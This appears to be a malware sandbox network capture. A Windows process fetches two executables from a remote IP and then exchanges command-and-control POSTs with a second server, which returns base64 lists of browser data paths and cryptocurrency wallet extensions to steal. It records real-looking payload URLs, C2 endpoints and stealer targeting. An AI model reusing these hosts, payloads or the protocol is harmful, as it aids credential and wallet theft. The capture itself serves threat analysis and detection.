Oct 2, 2024 17:17:06.841286898 CEST	104	IN	Data Raw: 5d 95 78 6a a3 d1 34 92 ba 08 73 ce 55 fe 18 18 72 84 94 c5 73 0a 9c 35 fb dd 91 ab 39 be ec 2a 8f 86 b0 b9 c1 11 69 b2 93 92 61 35 fc 6e 6f 2e fb c1 b7 eb 08 8c 60 f0 45 0c 57 83 ab 4f 11 72 45 98 80 5f 6e a8 d6 b8 fe 30 bf d2 95 ca 76 28 dd 0d Data Ascii: ]xj4sUrs59*ia5no.`EWOrE_n0v(`u8e8iz
Oct 2, 2024 17:17:06.846263885 CEST	1236	IN	Data Raw: 26 4f 48 9c cf 46 47 b2 ab 47 a4 d2 e4 0f 76 98 b1 92 c2 96 08 46 0f 1f 68 ff 73 e5 5b 89 ac 9e 00 fe d3 92 56 3e b7 f4 ee 0c f9 82 5c 86 d1 9a 5b 45 c1 11 7f a9 44 02 d5 17 e0 df 06 a3 53 37 1e 94 01 6b 9b 5a 8f 79 a6 82 e1 e1 43 86 0e 12 e3 0e Data Ascii: &OHFGGvFhs[V>\[EDS7kZyC`Vx$kCps]$LSw?O6ET.k%D)-1c8t6/G<A@).V[@ENtHFc3o8KX;%y7Mtpuf
Oct 2, 2024 17:17:09.282352924 CEST	193	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:09.589148998 CEST	193	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:09.838144064 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:09 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f > @@ `>S@BxQ(&``= H.text `.rsrcB@"@@.reloc`&@B>H@+ B,Je8Xf3Zmv$:rXM6'4,OT!BC\|[{2yd?1d2mU5A93B[ltP3fAyz$[Yi[v\Bqg^pd{t}y[PvyH @'2^4h7!OwJxiv?G6^`q8NZ-TuW1zK_7-H<fz(7-@{%xB#"S4
Oct 2, 2024 17:17:11.931540966 CEST	189	OUT	GET /prog/66fbfcc301a31_swws.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:12.459883928 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:12 GMT Content-Type: application/octet-stream Content-Length: 344992 Last-Modified: Tue, 01 Oct 2024 13:44:35 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc3-543a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ec 04 00 00 06 00 00 00 00 00 00 ee 0a 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 d7 37 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 0a 05 00 53 00 00 00 00 20 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 1d 05 00 28 26 00 00 00 40 05 00 0c 00 00 00 60 09 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ `7`S Bx(&@` H.text `.rsrcB @@.reloc@@BH@ +>J]y 9=5tS4;g/kTl>GPOCB$!xVX,7DqRY\8`Mc6`D6bye>Ty"lZD;6FN6T^:z_'_r;n8Ua<D84OvZ2j;o9;a}yR\`2fvJC*Dcu'^,bF^IeHN!&xD"5zJsEHb&DI9Zl{,wF-
Oct 2, 2024 17:17:12.468343019 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:12 GMT Content-Type: application/octet-stream Content-Length: 344992 Last-Modified: Tue, 01 Oct 2024 13:44:35 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc3-543a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ec 04 00 00 06 00 00 00 00 00 00 ee 0a 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 d7 37 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 0a 05 00 53 00 00 00 00 20 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 1d 05 00 28 26 00 00 00 40 05 00 0c 00 00 00 60 09 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ `7`S Bx(&@` H.text `.rsrcB @@.reloc@@BH@ +>J]y 9=5tS4;g/kTl>GPOCB$!xVX,7DqRY\8`Mc6`D6bye>Ty"lZD;6FN6T^:z_'_r;n8Ua<D84OvZ2j;o9;a}yR\`2fvJC*Dcu'^,bF^IeHN!&xD"5zJsEHb&DI9Zl{,wF-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	65273	46.8.231.109	80	5140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:14.981302977 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 17:17:15.583409071 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:15.587302923 CEST	412	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 46.8.231.109 Content-Length: 213 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 33 35 32 44 45 37 34 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="hwid"685352DE7439786254513------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build"default------DAAFBAKECAEGCBFIEGDG--
Oct 2, 2024 17:17:15.874138117 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 46 6c 5a 54 4a 6a 4d 44 41 33 5a 54 59 32 4d 7a 45 77 5a 44 51 34 5a 57 55 78 4e 57 56 6d 4d 57 59 35 5a 6d 4a 69 59 57 55 77 59 32 4d 78 4e 44 4d 33 4d 44 63 7a 4d 6a 4d 32 5a 57 45 33 4d 47 49 34 59 7a 45 34 4e 32 45 78 59 7a 42 6a 4d 54 51 35 59 32 55 30 4d 6a 4d 79 59 6a 51 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWFlZTJjMDA3ZTY2MzEwZDQ4ZWUxNWVmMWY5ZmJiYWUwY2MxNDM3MDczMjM2ZWE3MGI4YzE4N2ExYzBjMTQ5Y2U0MjMyYjQzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 2, 2024 17:17:15.897053957 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"browsers------EGIDAAFIEHIEHJKFHCAE--
Oct 2, 2024 17:17:16.073956013 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 2, 2024 17:17:16.074276924 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 2, 2024 17:17:16.075844049 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"plugins------HCFIIIJJKJKFHIDGDBAK--
Oct 2, 2024 17:17:16.588743925 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 2, 2024 17:17:16.588799953 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 2, 2024 17:17:16.588835001 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 2, 2024 17:17:16.588866949 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 2, 2024 17:17:16.588900089 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 2, 2024 17:17:16.588932991 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
